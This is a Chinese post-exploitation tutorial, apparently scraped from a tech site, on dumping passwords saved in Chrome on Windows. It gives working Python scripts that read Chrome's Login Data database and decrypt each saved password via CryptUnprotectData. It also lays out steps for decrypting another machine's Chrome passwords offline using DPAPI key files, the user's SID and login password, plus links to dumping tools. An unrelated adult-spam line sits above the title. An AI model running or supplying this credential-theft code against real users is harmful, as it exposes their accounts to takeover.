自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

滲透技巧——導出Chrome瀏覽器中保存的密碼

系統(tǒng) Linux
在后滲透階段,獲得權限后需要搜集目標系統(tǒng)的信息。信息越全面,越有助于進一步的滲透。對于Windows系統(tǒng),用戶瀏覽器往往包含有價值的信息。

[[218784]]

0x00 前言

在后滲透階段,獲得權限后需要搜集目標系統(tǒng)的信息。信息越全面,越有助于進一步的滲透。對于Windows系統(tǒng),用戶瀏覽器往往包含有價值的信息。

在之前的文章《本地密碼查看工具LaZagne中的自定義腳本開發(fā)》曾介紹過利用LaZagne導出多個瀏覽器密碼的方法。

本文將要針對Chrome瀏覽器,介紹具體的導出原理和利用方法,解決一個實際問題: 如何導出另一系統(tǒng)下Chrome瀏覽器中保存的密碼?

0x01 簡介

本文將要介紹以下內容:

  • Chrome瀏覽器保存密碼的方式
  • 如何導出Chrome瀏覽器中保存的密碼
  • 常用方法的限制
  • 如何導出另一系統(tǒng)下Chrome瀏覽器中保存的密碼

0x02 Chrome瀏覽器保存密碼的方式

正常用戶在訪問網(wǎng)站時,可選擇使用Chrome瀏覽器保存登錄的用戶密碼,用于下次登錄的時候Chrome自動填寫登錄密碼,如下圖

在Chrome中可以查看保存的登錄密碼(需要提供用戶口令),如下圖

Chrome中保存的密碼先被二次加密,然后被保存在SQLite數(shù)據(jù)庫文件中,位置如下:

  1. %LocalAppData%\Google\Chrome\User Data\Default\Login Data 

實際測試:

測試系統(tǒng): Win7x86

Chrome版本: 63.0.3239.132

定位SQLite數(shù)據(jù)庫文件,位于C:\Users\a\AppData\Local\Google\Chrome\User Data\Default\Login Data

使用工具讀取數(shù)據(jù)庫文件,測試工具: SQLiteStudio

下載地址:

https://sqlitestudio.pl/index.rvt

注:

SQLiteStudio開源,特點是支持查看十六進制數(shù)據(jù)(SQLiteSpy不支持查看十六進制數(shù)據(jù))

成功讀取數(shù)據(jù)庫文件保存的信息,但password段無法顯示,如下圖

選擇Form view,查看十六進制格式,獲得二次加密后的用戶密碼,如下圖

注:

如果Chrome正在運行,無法使用SQLiteStudio打開數(shù)據(jù)庫文件Login Data,可將該文件復制后再打開

0x03 導出Chrome瀏覽器中保存的密碼

首先,編寫程序實現(xiàn)讀取SQLite數(shù)據(jù)庫文件,這里選擇使用python實現(xiàn)

開源代碼很多,所以這里只給出一個示例

  1. from os import getenv 
  2. import sqlite3 
  3. import binascii 
  4. conn = sqlite3.connect(getenv("APPDATA") + "\..\Local\Google\Chrome\User Data\Default\Login Data"
  5. cursor = conn.cursor() 
  6. cursor.execute('SELECT action_url, username_value, password_value FROM logins'
  7. for result in cursor.fetchall(): 
  8.     print (binascii.b2a_hex(result[2])) 

獲得二次加密的用戶密碼,如下圖

參考Chromium開源代碼,找到Chrome做二次加密的方法: 通過Windows API CryptProtectData()實現(xiàn)

參考加密代碼:

https://github.com/scheib/chromium/blob/eb7e2441dd8878f733e43799ea77c2bab66816d3/chrome/browser/password_manager/password_store_win_unittest.cc#L107

CryptProtectData()的說明可參考:

https://msdn.microsoft.com/en-us/library/windows/desktop/aa380261(v=vs.85).aspx

獲得關鍵信息:

(1)對應解密函數(shù)為CryptUnprotectData

參考地址:

https://msdn.microsoft.com/en-us/library/windows/desktop/aa380882(v=vs.85).aspx

(2)只有與加密數(shù)據(jù)的用戶具有相同登錄憑據(jù)的用戶才能解密數(shù)據(jù)

也就是說,只能在當前用戶的憑據(jù)下解密數(shù)據(jù)

解密的開源代碼也有很多,這里給出一個示例:

  1. from os import getenv 
  2. import sqlite3 
  3. import win32crypt 
  4. import binascii 
  5. conn = sqlite3.connect(getenv("APPDATA") + "\..\Local\Google\Chrome\User Data\Default\Login Data"
  6. cursor = conn.cursor() 
  7. cursor.execute('SELECT action_url, username_value, password_value FROM logins'
  8. for result in cursor.fetchall(): 
  9.     password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1] 
  10.     print password 

注:

調用win32crypt.CryptUnprotectData需要安裝pywin32

下載地址:

http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/pywin32-219.win32-py2.7.exe

執(zhí)行后,還原用戶密碼,如下圖

[[218785]]

注:

如果Chrome正在運行,無法查詢數(shù)據(jù)庫文件Login Data,顯示sqlite3.OperationalError: database is locked

綜上,在實際導出的過程中,如果Chrome正在運行,需要先復制數(shù)據(jù)庫文件,再嘗試解密

0x04 如何導出另一系統(tǒng)下Chrome瀏覽器中保存的密碼

參照CryptProtectData()的說明,地址如下:

https://msdn.microsoft.com/en-us/library/windows/desktop/aa380261(v=vs.85).aspx

  • “Usually, the only user who can decrypt the data is a user with the 
  • same logon credentials as the user who encrypted the data.In addition, 
  • the encryption and decryption must be done on the same computer. “

是否可以斷定,無法在另一系統(tǒng)下導出Chrome瀏覽器中保存的密碼呢?

答案是否定的

Chrome密碼還原工具chromepass提供了一個特別的功能: Reading ChromePass passwords from external drive

chromepass下載地址:

http://www.nirsoft.net/utils/chromepass.html

說明如下:

  • “you can also read the passwords stored by Chrome Web browser from an 
  • external profile in your current operating system or from another 
  • external drive”

也就是說,使用chromepass能夠導出當前系統(tǒng)下另一用戶的Chrome密碼

操作界面如下圖

既然如此,如果獲得了另一系統(tǒng)下的相關配置文件,能否導出Chrome瀏覽器中保存的密碼呢?

當然可以

解密需要獲得三部分內容:

  1. 加密密鑰,位于%appdata%\Microsoft\Protect下對應sid文件夾下的文件 
  2. 數(shù)據(jù)庫文件Login Data 
  3. 用戶明文的密碼,用于解密加密密鑰 

由于chromepass程序的設計問題,以上文件需要組成特定格式,子目錄格式如下:

  1. \AppData\Local\Google\Chrome\User Data\Default\Login Data 
  2. \AppData\Roaming\Microsoft\Protect{sid}}\下保存key文件 

注:

{sid}必須同原系統(tǒng)的對應

eg.

  1. \AppData\Local\Google\Chrome\User Data\Default\Login Data 
  2. \AppData\Roaming\Microsoft\Protect\S-1-5-21-3453529135-4164765056-1075703908-1001\329c4147-0011-4ad6-829d-e32dcbd1bbd7 

如下圖

使用chromepass選擇該目錄,填入用戶明文密碼,如下圖

成功解密,如下圖

0x05 開源工具

解密當前系統(tǒng)下Chrome瀏覽器中保存的密碼,可供參考的工具:

1.命令行工具Chrome Password Dump,下載地址:

http://securityxploded.com/chrome-password-dump.php

2.powershell實現(xiàn)的工具:

https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/collection/Get-ChromeDump.ps1

3.python實現(xiàn)代碼,可供參考的開源代碼:

  1. from os import getenv 
  2. import sqlite3 
  3. import win32crypt 
  4. import binascii 
  5. conn = sqlite3.connect(getenv("APPDATA") + "\..\Local\Google\Chrome\User Data\Default\Login Data"
  6. cursor = conn.cursor() 
  7. cursor.execute('SELECT action_url, username_value, password_value FROM logins'
  8. for result in cursor.fetchall(): 
  9.     password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1] 
  10.     if password
  11.         print 'Site: ' + result[0] 
  12.         print 'Username: ' + result[1] 
  13.         print 'Password: ' + password 
  14.     else
  15.         print "no password found" 

0x06 小結

本文介紹了導出Chrome瀏覽器密碼的原理和利用方法,成功解決一個實際問題: 通過加密密鑰文件和用戶明文密碼,能夠導出另一系統(tǒng)下Chrome瀏覽器中保存的密碼

如果只獲得了用戶密碼hash,能否導出呢?

 

責任編輯:武曉燕 來源: 博客園
相關推薦

2012-12-06 14:34:16

2017-02-08 14:30:08

Chrome密碼瀏覽器

2019-02-15 15:15:59

ChromeJavascriptHtml

2016-03-10 09:56:41

2017-12-04 09:39:41

瀏覽器Chrome小技巧

2025-02-13 10:28:17

數(shù)據(jù)泄露Chrome谷歌

2011-08-02 09:35:03

Chrome瀏覽器重定向

2010-01-28 10:13:43

2009-11-26 10:55:41

2015-01-21 15:45:50

斯巴達瀏覽器

2023-08-11 07:36:10

2011-11-11 10:35:04

2010-01-20 10:37:48

Chrome瀏覽器

2012-08-08 09:18:47

Chrome瀏覽器

2010-01-10 17:50:17

2013-11-13 15:54:20

Chrome 31瀏覽器

2009-07-17 09:16:20

Google Chro瀏覽器操作系統(tǒng)

2009-09-22 09:17:46

谷歌Chrome瀏覽器

2009-12-06 09:38:02

Chrome瀏覽器Avast

2009-03-07 09:57:41

Realplayer捆綁Chrome
點贊
收藏

51CTO技術棧公眾號